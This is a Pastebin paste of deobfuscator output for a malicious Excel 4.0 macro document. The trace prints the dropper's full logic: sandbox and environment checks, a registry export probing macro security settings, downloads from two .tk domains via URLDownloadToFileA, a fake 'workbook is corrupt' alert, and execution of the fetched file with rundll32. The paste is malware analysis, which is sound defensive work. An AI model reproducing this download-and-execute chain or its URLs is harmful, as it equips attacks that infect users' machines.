Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- pip install -U https://github.com/DissectMalware/XLMMacroDeobfuscator/archive/master.zip
- Hash: fa2b9bbfdd4930a5db55dc42e0cdbb3ee31539021f2dae588bcb61b0ebe6b189
- [Loading Cells]
- auto_open: auto_open->C9Nh5oESJrL7acc7MrbLK3jf8r35YV!$HO$18358
- [Starting Deobfuscation]
- CELL:HO18358 , FullEvaluation ,SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AN46618," !""#$%&'()*+,-./01")
- CELL:HO18359 , FullEvaluation ,GOTO(AE64869)
- CELL:AE64869 , FullEvaluation ,SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!BT58881,"23456789:;<=>?@ABCD")
- CELL:AE64870 , FullEvaluation ,RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AD34266)
- CELL:AD34266 , FullEvaluation ,SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!HQ17800,"EFGHIJKLMNOPQRSTUVW")
- CELL:AD34267 , FullEvaluation ,GOTO(EJ28171)
- CELL:EJ28171 , FullEvaluation ,SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!HU8314,"XYZ[\]^_`abcdefghij")
- CELL:EJ28172 , FullEvaluation ,GOTO(DG7150)
- CELL:DG7150 , FullEvaluation ,SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IA48760,"klmnopqrstuvwxyz{|}")
- CELL:DG7151 , FullEvaluation ,GOTO(G56331)
- CELL:G56331 , FullEvaluation ,FORMULA("=CLOSE(FALSE)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IS50994)
- CELL:G56332 , FullEvaluation ,RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!L48127)
- CELL:L48127 , FullEvaluation ,FORMULA("=APP.MAXIMIZE()",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!L48128)
- CELL:L48128 , NotImplemented ,APP.MAXIMIZE()
- CELL:L48129 , FullEvaluation ,RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AP59590)
- CELL:AP59590 , FullEvaluation ,FORMULA("=IF(GET.WINDOW(7),GOTO(R[-8597]C[211]),)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AP59591)
- CELL:AP59591 , FullEvaluation ,IF(GET.WINDOW(7),GOTO(R[-8597]C[211]),)
- CELL:AP59592 , FullEvaluation , GOTO(FP60809)
- CELL:FP60809 , FullEvaluation , FORMULA("=IF(GET.WINDOW(20),,GOTO(R[-9816]C[81]))",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FP60810)
- CELL:FP60810 , FullEvaluation , IF(GET.WINDOW(20),,GOTO(R[-9816]C[81]))
- CELL:FP60811 , FullEvaluation , GOTO(IC65396)
- CELL:IC65396 , FullEvaluation , FORMULA("=IF(GET.WINDOW(23)<3,GOTO(R[-14403]C[16]),)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IC65397)
- CELL:IC65397 , FullEvaluation , IF(GET.WINDOW(23)<3,GOTO(R[-14403]C[16]),)
- CELL:IC65398 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!GU7152)
- CELL:GU7152 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(31),GOTO(R[43841]C[50]),)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!GU7153)
- CELL:GU7153 , FullEvaluation , IF(GET.WORKSPACE(31),GOTO(R[43841]C[50]),)
- CELL:GU7154 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!DT3410)
- CELL:DT3410 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(13)<770,GOTO(R[47583]C[129]),)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!DT3411)
- CELL:DT3411 , FullBranching , IF(GET.WORKSPACE(13)<770,GOTO(R[47583]C[129]),)
- CELL:DT3411 , FullEvaluation , [TRUE] GOTO(R[47583]C[129])
- CELL:IS50994 , End , CLOSE(FALSE)
- CELL:DT3411 , FullEvaluation , [FALSE]
- CELL:DT3412 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CM35853)
- CELL:CM35853 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(14)<390,GOTO(R[15140]C[162]),)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CM35854)
- CELL:CM35854 , FullBranching , IF(GET.WORKSPACE(14)<390,GOTO(R[15140]C[162]),)
- CELL:CM35854 , FullEvaluation , [TRUE] GOTO(R[15140]C[162])
- CELL:IS50994 , End , CLOSE(FALSE)
- CELL:CM35854 , FullEvaluation , [FALSE]
- CELL:CM35855 , FullEvaluation , GOTO(CK51623)
- CELL:CK51623 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(19),,GOTO(R[-630]C[164]))",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CK51624)
- CELL:CK51624 , FullEvaluation , IF(GET.WORKSPACE(19),,GOTO(R[-630]C[164]))
- CELL:CK51625 , FullEvaluation , GOTO(FP50981)
- CELL:FP50981 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(42),,GOTO(R[12]C[81]))",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FP50982)
- CELL:FP50982 , FullEvaluation , IF(GET.WORKSPACE(42),,GOTO(R[12]C[81]))
- CELL:FP50983 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CK61340)
- CELL:CK61340 , FullEvaluation , FORMULA("=IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))),,GOTO(R[-10347]C[164]))",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CK61341)
- CELL:CK61341 , FullEvaluation , IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,GOTO(R[-10347]C[164]))
- CELL:CK61342 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IA40525)
- CELL:IA40525 , FullEvaluation , FORMULA("=""EXPORT HKCU\Software\Microsoft\Office\""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!DE20419)
- CELL:IA40526 , FullEvaluation , GOTO(DZ43796)
- CELL:DZ43796 , FullEvaluation , FORMULA("=""C:\Users\Public\ohzMz.reg""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!EY35234)
- CELL:DZ43797 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IU37484)
- CELL:IU37484 , FullEvaluation , FORMULA("=R[-9767]C[-115]&GET.WORKSPACE(2)&""\Excel\Security ""&R[5048]C[-69]&"" /y""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!HP30186)
- CELL:IU37485 , FullEvaluation , GOTO(BF24402)
- CELL:BF24402 , FullEvaluation , FORMULA("=""C:\Windows\system32\reg.exe""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!BQ53153)
- CELL:BF24403 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CF44918)
- CELL:CF44918 , FullEvaluation , FORMULA("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[8234]C[-15],R[-14733]C[140],0,5)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CF44919)
- CELL:CF44919 , NotImplemented , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe",35152GET.WORKSPACE(2)\Excel\Security O49967 /y,0,5)
- CELL:CF44920 , FullEvaluation , GOTO(FV65441)
- CELL:FV65441 , FullEvaluation , FORMULA("=WHILE(ISERROR(FILES(R[-30210]C[-23])))",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FV65444)
- CELL:FV65442 , FullEvaluation , FORMULA("=WAIT(NOW()+""00:00:01"")",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FV65445)
- CELL:FV65443 , FullEvaluation , FORMULA("=NEXT()",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FV65446)
- CELL:FV65444 , PartialEvaluation , WHILE("C:\Users\Public\ohzMz.reg")
- CELL:FV65445 , PartialEvaluation , WAIT(NOW()+"00:00:01")
- CELL:FV65446 , PartialEvaluation , NEXT()
- CELL:FV65447 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AA60042)
- CELL:AA60042 , FullEvaluation , FORMULA("=FOPEN(R[-24809]C[128])",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AA60043)
- CELL:AA60043 , PartialEvaluation , FOPEN("C:\Users\Public\ohzMz.reg")
- CELL:AA60044 , FullEvaluation , GOTO(AY30021)
- CELL:AY30021 , FullEvaluation , FORMULA("=FPOS(R[30021]C[-24],215)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AY30022)
- CELL:AY30022 , PartialEvaluation , FPOS("""C:\Users\Public\ohzMz.reg""",215)
- CELL:AY30023 , FullEvaluation , GOTO(HD22993)
- CELL:HD22993 , FullEvaluation , FORMULA("=FREAD(R[37049]C[-185],255)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!HD22994)
- CELL:HD22994 , PartialEvaluation , FREAD("""C:\Users\Public\ohzMz.reg""",255)
- CELL:HD22995 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!GM60823)
- CELL:GM60823 , FullEvaluation , FORMULA("=FCLOSE(R[-781]C[-168])",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!GM60824)
- CELL:GM60824 , PartialEvaluation , FCLOSE("""C:\Users\Public\ohzMz.reg""")
- CELL:GM60825 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IF51216)
- CELL:IF51216 , FullEvaluation , FORMULA("=FILE.DELETE(R[-15983]C[-85])",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IF51217)
- CELL:IF51217 , NotImplemented , FILE.DELETE(R[-15983]C[-85])
- CELL:IF51218 , FullEvaluation , GOTO(AE21772)
- CELL:AE21772 , FullEvaluation , FORMULA("=IF(ISNUMBER(SEARCH(""0001"",R[1221]C[181])),GOTO(R[29221]C[222]),)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AE21773)
- CELL:AE21773 , FullEvaluation , IF(ISNUMBER(SEARCH("0001",R[1221]C[181])),GOTO(R[29221]C[222]),)
- CELL:AE21774 , FullEvaluation , GOTO(GO59474)
- CELL:GO59474 , FullEvaluation , FORMULA("=""C:\Users\Public\Qrr8oK.html""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!HK34324)
- CELL:GO59475 , FullEvaluation , GOTO(HL30814)
- CELL:HL30814 , FullEvaluation , FORMULA("=""https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-updates""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IR33228)
- CELL:HL30815 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FV57194)
- CELL:FV57194 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-23967]C[74],R[-22871]C[41],0,0)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FV57195)
- CELL:FV57195 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-updates","C:\Users\Public\Qrr8oK.html",0,0)
- CELL:FV57196 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!GB55099)
- CELL:GB55099 , FullEvaluation , FORMULA("=FILES(R[-20776]C[35])",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!GB55100)
- CELL:GB55100 , PartialEvaluation , FILES("C:\Users\Public\Qrr8oK.html")
- CELL:GB55101 , FullEvaluation , GOTO(AV15376)
- CELL:AV15376 , FullEvaluation , FORMULA("=IF(ISERROR(R[39723]C[136]),GOTO(R[35617]C[205]),)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AV15377)
- CELL:AV15377 , FullBranching , IF(ISERROR(R[39723]C[136]),GOTO(R[35617]C[205]),)
- CELL:AV15377 , FullEvaluation , [TRUE] GOTO(R[35617]C[205])
- CELL:IS50994 , End , CLOSE(FALSE)
- CELL:AV15377 , FullEvaluation , [FALSE]
- CELL:AV15378 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FQ29573)
- CELL:FQ29573 , FullEvaluation , SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!DK40785,"klmnopqrstuvwxyz{|}")
- CELL:FQ29574 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!EA17260)
- CELL:EA17260 , FullEvaluation , SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FU2407,"XYZ[\]^_`abcdefghij")
- CELL:EA17261 , FullEvaluation , GOTO(CH48519)
- CELL:CH48519 , FullEvaluation , SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!EM11199,"EFGHIJKLMNOPQRSTUVW")
- CELL:CH48520 , FullEvaluation , GOTO(GQ8435)
- CELL:GQ8435 , FullEvaluation , SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CL18870,"23456789:;<=>?@ABCD")
- CELL:GQ8436 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FU27428)
- CELL:FU27428 , FullEvaluation , SET.VALUE(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!DT34576," !""#$%&'()*+,-./01")
- CELL:FU27429 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IR50328)
- CELL:IR50328 , FullEvaluation , FORMULA("=""C:\Users\Public\BgAlTgIN.html""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CX30111)
- CELL:IR50329 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FB21194)
- CELL:FB21194 , FullEvaluation , FORMULA("=""https://clicmiscentfrussoting.tk/wp-keys.php""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AU61789)
- CELL:FB21195 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CV12822)
- CELL:CV12822 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-2855]C[-190],R[-34533]C[-135],0,0)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IC64644)
- CELL:CV12823 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FZ59938)
- CELL:FZ59938 , FullEvaluation , FORMULA("=FILES(R[-23363]C[-77])",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FW53474)
- CELL:FZ59939 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!J1196)
- CELL:J1196 , FullEvaluation , FORMULA("=IF(ISERROR(R[-3734]C[41]),,RUN(R[-889]C[-81]))",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!EH57208)
- CELL:J1197 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!DL26975)
- CELL:DL26975 , FullEvaluation , FORMULA("=""https://riesperetidtur.tk/wp-keys.php""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!GO31937)
- CELL:DL26976 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CQ22758)
- CELL:CQ22758 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-24140]C[-48],R[-25966]C[-143],0,0)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IK56077)
- CELL:CQ22759 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!AV5044)
- CELL:AV5044 , FullEvaluation , FORMULA("=""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CF52828)
- CELL:AV5045 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CZ22389)
- CELL:CZ22389 , FullEvaluation , FORMULA("=ALERT(R[-3491]C[27])",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!BE56319)
- CELL:CZ22390 , FullEvaluation , GOTO(GS26315)
- CELL:GS26315 , FullEvaluation , FORMULA("=""C:\Windows\system32\rundll32.exe""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FJ56471)
- CELL:GS26316 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!BH17087)
- CELL:BH17087 , FullEvaluation , FORMULA("=R[-12030]C[35]&"",DllRegisterServer""",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!BO42141)
- CELL:BH17088 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CB18063)
- CELL:CB18063 , FullEvaluation , FORMULA("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[2749]C[1],R[-11581]C[-98],0,5)",C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FI53722)
- CELL:CB18064 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!IC64644)
- CELL:IC64644 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://clicmiscentfrussoting.tk/wp-keys.php","C:\Users\Public\BgAlTgIN.html",0,0)
- CELL:IC64645 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FW53474)
- CELL:FW53474 , PartialEvaluation , FILES("C:\Users\Public\BgAlTgIN.html")
- CELL:FW53475 , FullEvaluation , GOTO(EH57208)
- CELL:EH57208 , FullBranching , IF(ISERROR(R[-3734]C[41]),,RUN(R[-889]C[-81]))
- CELL:EH57208 , FullEvaluation , [TRUE]
- CELL:EH57209 , FullEvaluation , GOTO(GO31937)
- CELL:GO31937 , FullEvaluation , "https://riesperetidtur.tk/wp-keys.php"
- CELL:GO31938 , FullEvaluation , GOTO(IK56077)
- CELL:IK56077 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"""https://riesperetidtur.tk/wp-keys.php""","C:\Users\Public\BgAlTgIN.html",0,0)
- CELL:IK56078 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!CF52828)
- CELL:CF52828 , FullEvaluation , "The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."
- CELL:CF52829 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!BE56319)
- CELL:BE56319 , PartialEvaluation , ALERT("""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.""")
- CELL:BE56320 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FJ56471)
- CELL:FJ56471 , FullEvaluation , "C:\Windows\system32\rundll32.exe"
- CELL:FJ56472 , FullEvaluation , GOTO(BO42141)
- CELL:BO42141 , FullEvaluation , C:\Users\Public\BgAlTgIN.html,DllRegisterServer
- CELL:BO42142 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FI53722)
- CELL:FI53722 , FullEvaluation , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","""C:\Windows\system32\rundll32.exe""","C:\Users\Public\BgAlTgIN.html,DllRegisterServer",0,5)
- CELL:FI53723 , FullEvaluation , GOTO(IS50994)
- CELL:IS50994 , End , CLOSE(FALSE)
- CELL:EH57208 , FullEvaluation , [FALSE] RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!BE56319)
- CELL:BE56319 , PartialEvaluation , ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
- CELL:BE56320 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FJ56471)
- CELL:FJ56471 , FullEvaluation , "C:\Windows\system32\rundll32.exe"
- CELL:FJ56472 , FullEvaluation , GOTO(BO42141)
- CELL:BO42141 , FullEvaluation , C:\Users\Public\BgAlTgIN.html,DllRegisterServer
- CELL:BO42142 , FullEvaluation , RUN(C9Nh5oESJrL7acc7MrbLK3jf8r35YV!FI53722)
- CELL:FI53722 , FullEvaluation , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","""C:\Windows\system32\rundll32.exe""","C:\Users\Public\BgAlTgIN.html,DllRegisterServer",0,5)
- CELL:FI53723 , FullEvaluation , GOTO(IS50994)
- CELL:IS50994 , End , CLOSE(FALSE)
- time elapsed: 5.211049795150757
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement